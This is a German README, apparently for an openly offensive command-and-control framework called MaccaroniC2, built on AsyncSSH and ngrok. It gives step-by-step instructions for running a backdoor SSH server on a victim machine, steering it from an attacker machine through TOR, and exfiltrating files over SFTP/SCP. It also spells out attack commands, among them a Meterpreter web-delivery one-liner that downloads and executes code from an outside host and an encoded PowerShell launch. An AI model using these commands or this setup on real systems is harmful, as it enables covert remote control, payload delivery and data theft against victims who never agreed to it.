
Ein Proof-of-Concept Command & Control Framework, das die leistungsstarke AsyncSSH Python-Bibliothek nutzt, die eine asynchrone Client- und Server-Implementierung des SSHv2-Protokolls bereitstellt, und den PyNgrok-Wrapper für die ngrok-Integration verwendet.

MaccaroniC2 ist ein Proof-of-Concept Command-and-Control-Framework, das die leistungsstarke Python-Bibliothek AsyncSSH nutzt, die eine asynchrone Client- und Server-Implementierung des SSHv2-Protokolls bereitstellt, und den PyNgrok-Wrapper für die ngrok-Integration verwendet. Dieses Tool ist für ein spezifisches Szenario konzipiert, bei dem das Opfer den AsyncSSH-Server ausführt und einen Tunnel nach außen aufbaut, bereit, Befehle vom Angreifer zu empfangen.
Der Angreifer nutzt die offizielle Ngrok-API, um den Hostnamen und Port des Tunnels abzurufen und eine Verbindung herzustellen. Dieser Ansatz macht sich die umfassenden Fähigkeiten von AsyncSSH zunutze, einschließlich der integrierten Unterstützung für SFTP und SCP, was eine sichere und effiziente Datenexfiltration und mehr ermöglicht.
Darüber hinaus kann der Angreifer Systembefehle über einen SOCKS-Proxy senden und ausführen, wobei er die Vorteile nutzt, die beispielsweise durch die Verwendung von TOR zur Erhöhung der Anonymität geboten werden.
Führen Sie python3 gen_rsa.py aus, um ein Paar SSH-Schlüssel zu generieren. Der neu generierte id_rsa wird vom Angreifer verwendet, um sich mit dem auf dem Opfer-Rechner laufenden Server zu verbinden.
Bearbeiten Sie die Datei asyncssh_server.py und fügen Sie den Inhalt des neu generierten id_rsa.pub in die Variable pub_key ein. Die asyncssh_server.py stellt eine Implementierung des SSHv2-Protokolls mit SFTP- und SCP-Funktionen bereit. Dies ist das Skript, das vom Opfer ausgeführt wird.
Erstellen Sie ein kostenloses Konto auf der Ngrok-Website und notieren Sie sich den AUTH-Token.
Fügen Sie den AUTH-Token zur Variable token in asyncssh_server.py hinzu; dieser muss in der Funktion ngrok_tunnel() fest codiert werden.
Erstellen Sie einen kostenlosen API-Schlüssel auf der Ngrok-Website. Notieren Sie sich die generierte Zeichenfolge.
Mit async_commander.py können Sie beliebige Befehle an den Server senden. Es fordert automatisch die Domäne und den Port des vom Opfer aktivierten Ngrok-Tunnels über die offizielle Ngrok-API an.
Bitte beachten Sie auch, dass sich id_rsa im selben Ordner wie async_commander.py befinden muss.
Server auf dem Opfer-Rechner ausführen:
python3 asyncssh_server.py
Vom Angreifer-Rechner aus Befehl mit SOCKS-Proxy senden:
python3 asyncssh_commander.py "ls -la" --proxy socks5://127.0.0.1:9050
Befehl ohne Proxy senden:
python3 asyncssh_commander.py "whoami"
Einen weiteren C2-Agenten starten (Powershell-Empire, Meterpreter usw.):
python3 asyncssh_commander.py "powershell.exe -e ABJe...dhYte"
Meterpreter-Web-Delivery-Modul
python3 asyncssh_commander.py "python3 -c \"import sys; import ssl; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]], fromlist=('urlopen',)); r=u.urlopen('http://100.100.100.100:8080/YnrVekAsVF', context=ssl._create_unverified_context()); exec(r.read());\""
Liste der aktiven Tunnel abrufen:
python3 get_endpoints.py
Neue RSA-Schlüsselpaare generieren:
python3 gen_rsa.py
Verwendung von SFTP und SCP - Sie benötigen keinen gültigen Benutzernamen, nur den richtigen id_rsa
proxychains sftp -P NGROK_PORT -i id_rsa ddddd@NGROK_HOST
scp -i id_rsa -o ProxyCommand="nc -x localhost:9050 %h NGROK_PORT" source_file ddddd@NGROK_HOST:destination_path
sftp -P PORT -i id_rsa ddddd@NGROK_HOST
scp -i id_rsa -P PORT source_file ddddd@NGROK_HOST:destination_path
python -m pip install nuitka
python -m nuitka --standalone --onefile asyncssh_server.py
https://github.com/hacktivesec/MaccaroniC2/blob/main/weaponized_server.py
Für weitere Informationen lesen Sie den zugehörigen Artikel: https://blog.hacktivesecurity.com/index.php/2023/06/05/inside-the-mind-of-a-cyber-attacker-from-malware-creation-to-data-exfiltration-part-1/
HAFTUNGSAUSSCHLUSS: Dieses Tool ist nur für Test- und Bildungszwecke bestimmt. Es sollte nur auf Systemen mit entsprechender Autorisierung verwendet werden. Jegliche unbefugte oder illegale Nutzung dieses Tools ist strengstens untersagt. Der Ersteller dieses Tools übernimmt keine Verantwortung für Missbrauch oder Schäden, die durch seine Nutzung entstehen. Bitte stellen Sie sicher, dass Sie bei der Nutzung dieses Tools die geltenden Gesetze und Vorschriften einhalten. Darüber hinaus ist zu beachten, dass die Verwendung von Ngrok in Verbindung mit diesem Tool gegen die Nutzungsbedingungen oder Richtlinien bestimmter Plattformen verstoßen kann. Es wird empfohlen, die Nutzungsbedingungen aller Plattformen oder Dienste zu prüfen und einzuhalten, um mögliche Kontosperrungen oder Störungen zu vermeiden.
Fügen Sie die API-Schlüsselzeichenfolge in die Variable api_key in der Datei async_commander.py ein. Dies ermöglicht es uns, während der Automatisierung automatisch die Ngrok-Domäne und den Port des aktiven Tunnels abzurufen.
Führen Sie den gleichen Schritt für die Datei get_endpoints.py aus. Dieses Skript ruft verschiedene nützliche Informationen über aktive Tunnel ab.